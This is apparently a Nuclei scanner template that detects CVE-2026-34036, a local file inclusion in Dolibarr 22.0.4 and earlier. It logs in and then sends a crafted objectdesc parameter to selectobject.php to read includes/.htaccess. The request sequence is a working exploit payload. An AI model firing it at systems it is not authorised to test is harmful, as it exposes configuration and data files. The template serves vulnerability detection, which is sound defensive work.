id: CVE-2026-34036

info:
  name: Dolibarr <=22.0.4 - Local File Inclusion
  author: y0no
  severity: medium
  description: |
    Dolibarr <= 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea() in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files.
  impact: |
    Authenticated users can read arbitrary non-PHP files, potentially exposing sensitive configuration and data files.
  remediation: |
    Update to the latest version once patches are available.
  reference:
    - https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r
    - https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34036
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-34036
    epss-score: 0.01464
    epss-percentile: 0.71067
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 3
    vendor: dolibarr
    product: dolibarr
    shodan-query: http.title:"Dolibarr"
  tags: cve,cve2026,dolibarr,lfi,auth,vuln,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="token" value="([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /index.php?mainmenu=home HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        token={{csrf}}&actionlogin=login&loginfunction=loginfunction&username={{username}}&password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:includes/.htaccess:0 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "FilesMatch"
          - "SetHandler"
        condition: and

      - type: word
        part: body
        words:
          - "actionlogin"
          - "Login @"
        condition: or
        negative: true
# digest: 4a0a00473045022100b957798d6a5d2636f10d88e37e47635a18727e3ef138ae71d3d7748488e08b5902205173df2ce00e4ec9f28ef234331ba8ab39a568f3e6787126fdac92bf26be16ab:922c64590222798bb761d5b6d8e72950